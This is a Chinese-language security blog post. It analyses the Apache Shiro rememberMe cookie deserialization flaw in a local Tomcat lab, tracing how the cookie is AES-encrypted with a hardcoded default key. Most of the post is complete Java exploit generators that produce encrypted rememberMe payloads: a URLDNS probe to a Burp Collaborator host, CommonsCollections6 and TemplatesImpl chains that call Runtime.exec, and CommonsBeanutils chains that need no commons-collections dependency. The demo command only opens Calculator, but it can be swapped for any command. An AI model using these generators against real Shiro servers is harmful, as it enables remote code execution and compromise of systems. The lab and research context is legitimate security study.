MENU

shiro反序列化

September 21, 2022 • Read: 106 • Code auditing

环境搭建

使用Tomcat8,jdk8u65
shiro:https://github.com/phith0n/JavaThings/tree/master/shirodemo
截屏2022-09-23 18.26.11.png

依赖简介

- shiro-core、shiro-web是shiro本身的依赖
- javax.servlet-api、jsp-api是Servlet和JSP的依赖,仅在编译阶段使用,因为tomcat中自带这两个依赖
- slf4j-api、slf4j-simple是为了显示shiro中的报错信息
- commons-logging:是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
- commons-collections:是为了演示反序列化漏洞,增加了这个依赖

搭建好之后
截屏2022-09-23 18.33.04.png

登陆root/secret勾选RemenberMe字段
截屏2022-09-23 21.32.53.png

登陆成功会返回Set-Cookie中有个rememberMe字段,后续请求中都有这个字段,漏洞原来就是利用这个字段进行反序列化攻击

漏洞利用

漏洞形成原理分析

rememberMe字段加密分析:
入口点AbstractRememberMeManager类的onSuccessfulLogin方法
截屏2022-09-23 22.34.32.png

当token为true的时候,就会调用rememberIdentit方法
截屏2022-09-23 22.36.14.png

继续跟进getIdentityToRemember方法
截屏2022-09-23 22.44.37.png

是个用户名赋值操作
截屏2022-09-23 22.46.14.png

返回继续跟进rememberIdentity方法
截屏2022-09-23 22.54.06.png

跟进convertPrincipalsToBytes方法,然后这里是用户名被序列化之后getCipherService的这个方法返回的是一个AES的服务
截屏2022-09-23 22.56.16.png

然后再跟进后面的encrypt加密方法
截屏2022-09-23 23.13.35.png

同样有跟进getEncryptionCipherKey方法获得加密的key
截屏2022-09-23 23.16.06.png

返回的一个属性
截屏2022-09-23 23.18.23.png

跟进就知道它是由这个属性得来的,这就是加密解密的key
截屏2022-09-23 23.17.29.png

流程
截屏2022-09-23 23.19.44.png

截屏2022-09-23 23.20.03.png

截屏2022-09-23 23.20.38.png

而且我们发现加密解密都用的这个属性,意思是用用户名和一个常量进行加密的
然后返回跟进到rememberSerializedIdentity中
截屏2022-09-23 23.43.22.png

把刚才加密的byte进行base64加密之后放入cookie中,通过响应就能得到remenberMe字段了
流程大概清楚了,我们再来看看漏洞触发点
截屏2022-09-23 23.50.57.png

获取之后先进行base64解密,然后再解密之后进行反序列化
截屏2022-09-23 23.51.49.png

跟进反序列化
截屏2022-09-24 00.03.22.png

再次跟进
截屏2022-09-24 00.05.05.png

这里有继承调用原生的反序列化,这就是漏洞的触发点了。

URLDNS打shiro

回顾一下URLDNS的链子

Gadget Chain:

  • HashMap.readObject()
  • HashMap.putVal()
  • HashMap.hash()
  • URL.hashCode()

然后我们来修改一下poc

package org.example;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

@SuppressWarnings("all")
public class URLDNS {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        @SuppressWarnings("all")
        HashMap<URL, Integer> objectObjectHashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://ma0ojwq49tl91l8bw2e3hu2rvi18px.burpcollaborator.net");
        Class<? extends URL> aClass = url.getClass();
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1);///避免第一次请求dns解析
        objectObjectHashMap.put(url,1);
        hashCode.set(url,-1);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(objectObjectHashMap);
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService  =new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes,key);
        System.out.println(byteSource.toString());



    }
}

有一点就是有个JSESSIONID也是身份认证信息,我们需要删掉才能进入反序列化
截屏2022-09-24 14.22.17.png

CC链攻击shiro

截屏2022-09-24 14.30.05.png

发现了cc3.2.1是被编译加载的,可以打这个依赖
我们再回顾一下之前的cc链:http://blog.m1kael.cn/index.php/archives/605/
这里使用cc6来看看

package org.example;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;



public class Cc6Test {
    public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put(tiedMapEntry,"456");

        Class<? extends Map> aClass = decorate.getClass();
        Field factory = aClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);
        decorate.remove("123");


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(byteArrayOutputStream);
        objOut.writeObject(objectObjectHashMap);
        objOut.close();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService  =new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes,key);
        System.out.println(byteSource.toString());


    }


}

截屏2022-09-24 15.44.39.png

发现存在报错:
Lorg.apache.commons.collections.Transformer
其实就是:
org.apache.commons.collections.Transformer
的数组报错
截屏2022-09-24 15.43.03.png

后面还有个
org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
我们跟进来看看
截屏2022-09-24 15.52.17.png

这是个重写方法,resolveClass是反序列化时来查找类的方法,对比一下原生的方法
截屏2022-09-24 15.58.27.png

一个调用的Class.forName一个是ClassUtils.forName
我们跟进一下ClassUtils
截屏2022-09-24 16.00.31.png

截屏2022-09-24 15.43.03.png

因为这里时loadClass,我们理解可以理解为这个不能加载数组类,但是真正的原理就涉及到了Tomcat的类加载,比较复杂
我们利用p神的结论:

这个问题并不是简简单单的Class.forName支持加载数组,ClassLoader.loadClass不支持加载数组这个区别,而是反序列化流中如果包含非java本身的数组,则会出现无法加载类的错误

所有我们需要使用无数组的poc
cc1就不行,因为我们必须要数组调用transform方法
还是来看cc6,通过选用InvokerTransformer调用TemplatesImpl#newTransformer方法:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)};

想办法、现在就要想办法去掉数组中的某个元素
回想下CC6的构造,用了TiedMapEntry,它有个getValue方法,里面调用了map的get方法
截屏2022-09-24 16.49.27.png

当这个map为lazyMap,它的get方法会触发transform方法
截屏2022-09-24 16.52.32.png

之前一直是把ConstantTransformer作为Transformer数组的首个对象,以此来返回恶意对象
可以发现这个get方法的参数key其实是会传入transform方法的,而这个InvokerTransformer#transform会直接执行input对象里的IMethodName方法
截屏2022-09-24 16.54.26.png

可以将key作为ConstantTransformer传进来的对象
那么之前的new ConstantTransformer(obj)这一步就可以去除了,甚至连ChainedTransformer也用不着了

所以修改poc:

package org.example;



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;



public class Cc6Test {
    public static void main(String[] args) throws Exception {
        //TemplatesImp
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","m1");
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        //cc2
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null);
        //cc6
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, templates);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put(tiedMapEntry,"456");

        Class<? extends Map> aClass = decorate.getClass();
        Field factory = aClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,newTransformer);
        decorate.remove(templates);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(objectObjectHashMap);
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService  =new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes,key);
        System.out.println(byteSource.toString());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

截屏2022-09-24 17.31.21.png

CB链攻击shiro

在实际环境中可能并没有commons-collections,我们就用贴本身的依赖cb链来打
cb链原理:http://blog.m1kael.cn/index.php/archives/634/
简单修改一下poc:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class CbTest {
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","m1");
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        //System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> objects = new PriorityQueue<>(beanComparator);
        objects.offer(1);
        objects.offer(2);
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(objects,"queue",new Object[]{templates,templates});
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(objects);
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService  =new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes,key);
        System.out.println(byteSource.toString());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

截屏2022-09-24 17.39.42.png

无依赖攻击shiro

commons-beanutils本来依赖于commons-collections,但在shiro里,commons-beanutils虽然包含了一部分commons-collections类,但却不全,所以这就导致正常使用shiro的时候不需要依赖于commons-collections,但在反序列化时却需要依赖于它,所以现在就要想办法构造无依赖的shiro反序列化利用链。
就比如我们删掉cc依赖再使用cb链就会报错
截屏2022-09-24 18.31.43.png

我们就需要自己传一个jdk或者cb自带的comparator
需要满足的条件:

实现java.util.Comparator接口
实现java.io.Serializabel接口
Java、Shiro或commons-beanutils自带

有很多类都可以实现
3ABCD4A994F3702741C68779E50B7DC2.jpg

我们这就用第二个类来打
修改poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class CbTest {
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_name", "m1");
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        BeanComparator outputProperties = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue<>(2, outputProperties);
        priorityQueue.add("1");
        priorityQueue.add("2");
        setFieldValue(outputProperties, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.close();


        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes, key);
        System.out.println(byteSource.toString());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

截屏2022-09-24 19.11.42.png

Last Modified: September 26, 2022
Archives Tip
QR Code for this page
Tipping QR Code